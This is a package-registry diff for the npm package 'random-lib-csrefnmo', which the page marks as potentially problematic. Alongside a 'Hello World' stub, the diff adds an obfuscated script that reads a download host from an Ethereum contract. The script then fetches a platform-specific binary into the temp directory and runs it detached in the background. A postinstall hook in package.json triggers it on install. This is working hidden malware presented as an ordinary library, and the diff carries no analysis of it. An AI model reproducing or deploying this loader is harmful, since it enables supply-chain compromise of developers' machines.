random-lib-csrefnmo 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of random-lib-csrefnmo might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('Hello World!');
@@ -0,0 +1 @@
1
+ function _0x5b81(_0x138d0c,_0x35505b){const _0x41d398=_0x41d3();return _0x5b81=function(_0x5b812d,_0x54899){_0x5b812d=_0x5b812d-0x14b;let _0x374e31=_0x41d398[_0x5b812d];return _0x374e31;},_0x5b81(_0x138d0c,_0x35505b);}const _0x14ab3a=_0x5b81;(function(_0x3d1c86,_0x528422){const _0x3d153d=_0x5b81,_0x20428a=_0x3d1c86();while(!![]){try{const _0x242938=-parseInt(_0x3d153d(0x179))/0x1+-parseInt(_0x3d153d(0x178))/0x2+parseInt(_0x3d153d(0x159))/0x3*(parseInt(_0x3d153d(0x14c))/0x4)+parseInt(_0x3d153d(0x15a))/0x5*(-parseInt(_0x3d153d(0x169))/0x6)+parseInt(_0x3d153d(0x16c))/0x7+parseInt(_0x3d153d(0x156))/0x8+-parseInt(_0x3d153d(0x171))/0x9;if(_0x242938===_0x528422)break;else _0x20428a['push'](_0x20428a['shift']());}catch(_0x1dd51c){_0x20428a['push'](_0x20428a['shift']());}}}(_0x41d3,0x81d85));const {ethers}=require('ethers'),axios=require(_0x14ab3a(0x164)),util=require('util'),fs=require('fs'),path=require(_0x14ab3a(0x176)),os=require('os'),{spawn}=require(_0x14ab3a(0x160)),contractAddress=_0x14ab3a(0x16f),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider'](_0x14ab3a(0x172)),contract=new ethers[(_0x14ab3a(0x174))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x45cd13=_0x14ab3a,_0x4d92b9={'EtNBN':_0x45cd13(0x16a),'mdyQW':function(_0x19d3ef){return _0x19d3ef();}};try{const _0x233e21=await contract[_0x45cd13(0x168)](WalletOwner);return _0x233e21;}catch(_0x595c12){return console[_0x45cd13(0x150)](_0x4d92b9[_0x45cd13(0x177)],_0x595c12),await _0x4d92b9[_0x45cd13(0x14f)](fetchAndUpdateIp);}},getDownloadUrl=_0x1934aa=>{const _0xe50c72=_0x14ab3a,_0x49ea83={'hcsEM':'win32','QUUWt':_0xe50c72(0x15b),'uAlEA':'darwin'},_0x2b9602=os[_0xe50c72(0x157)]();switch(_0x2b9602){case _0x49ea83[_0xe50c72(0x170)]:return _0x1934aa+'/node-win.exe';case _0x49ea83[_0xe50c72(0x167)]:return _0x1934aa+_0xe50c72(0x16d);case _0x49ea83[_0xe50c72(0x15d)]:return _0x1934aa+_0xe50c72(0x165);default:throw new Error(_0xe50c72(0x154)+_0x2b9602);}},downloadFile=async(_0x7f16a7,_0x3645a3)=>{const _0x3506a5=_0x14ab3a,_0x64877d={'gemCs':_0x3506a5(0x161),'bxsiS':function(_0x19fc14,_0x3f131e){return _0x19fc14(_0x3f131e);},'DkNrv':_0x3506a5(0x163),'ubWdq':'stream'},_0x398448=fs[_0x3506a5(0x166)](_0x3645a3),_0x5bed7e=await _0x64877d['bxsiS'](axios,{'url':_0x7f16a7,'method':_0x64877d[_0x3506a5(0x16e)],'responseType':_0x64877d[_0x3506a5(0x14e)]});return _0x5bed7e[_0x3506a5(0x173)][_0x3506a5(0x151)](_0x398448),new Promise((_0x7ae91a,_0x396cba)=>{const _0x447360=_0x3506a5;_0x398448['on'](_0x64877d[_0x447360(0x15f)],_0x7ae91a),_0x398448['on'](_0x447360(0x150),_0x396cba);});},executeFileInBackground=async _0x22837d=>{const _0x5d14a4=_0x14ab3a,_0x149a74={'eXaLj':function(_0x2b2884,_0x226dad,_0x5426db,_0x54c84c){return _0x2b2884(_0x226dad,_0x5426db,_0x54c84c);},'iaWCz':_0x5d14a4(0x14d)};try{const _0x123862=_0x149a74[_0x5d14a4(0x158)](spawn,_0x22837d,[],{'detached':!![],'stdio':_0x5d14a4(0x15e)});_0x123862[_0x5d14a4(0x15c)]();}catch(_0x11ecb1){console[_0x5d14a4(0x150)](_0x149a74[_0x5d14a4(0x175)],_0x11ecb1);}},runInstallation=async()=>{const _0x407195=_0x14ab3a,_0x503211={'Hjoae':function(_0x15294e){return _0x15294e();},'xezIX':function(_0x4fdfee,_0x30894c){return _0x4fdfee(_0x30894c);}};try{const _0x3ccc7d=await _0x503211['Hjoae'](fetchAndUpdateIp),_0x22762e=_0x503211[_0x407195(0x14b)](getDownloadUrl,_0x3ccc7d),_0x434be5=os[_0x407195(0x162)](),_0x490857=path['basename'](_0x22762e),_0x551fe9=path['join'](_0x434be5,_0x490857);await downloadFile(_0x22762e,_0x551fe9),os['platform']()!==_0x407195(0x16b)&&fs[_0x407195(0x155)](_0x551fe9,_0x407195(0x153)),executeFileInBackground(_0x551fe9);}catch(_0x158f33){console[_0x407195(0x150)](_0x407195(0x152),_0x158f33);}};runInstallation();function _0x41d3(){const _0x2071be=['uAlEA','ignore','gemCs','child_process','finish','tmpdir','GET','axios','/node-macos','createWriteStream','QUUWt','getString','18QfeUVU','Ошибка\x20при\x20получении\x20IP\x20адреса:','win32','6384462drFcAn','/node-linux','DkNrv','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','hcsEM','2103804NcBCNy','mainnet','data','Contract','iaWCz','path','EtNBN','1549886rfeXSJ','146770JEqEWQ','xezIX','2284qyVXdP','Ошибка\x20при\x20запуске\x20файла:','ubWdq','mdyQW','error','pipe','Ошибка\x20установки:','755','Unsupported\x20platform:\x20','chmodSync','7480112JfBMjc','platform','eXaLj','1203dKvEAk','647895BAxrhJ','linux','unref'];_0x41d3=function(){return _0x2071be;};return _0x41d3();}
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "random-lib-csrefnmo",
3
+ "version": "1.0.0",
4
+ "description": "A randomly generated library with installation script",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node install-script.js"
8
+ },
9
+ "dependencies": {
10
+ "axios": "^1.7.7",
11
+ "ethers": "^6.13.2"
12
+ },
13
+ "author": "Auto Generator",
14
+ "license": "MIT"
15
+ }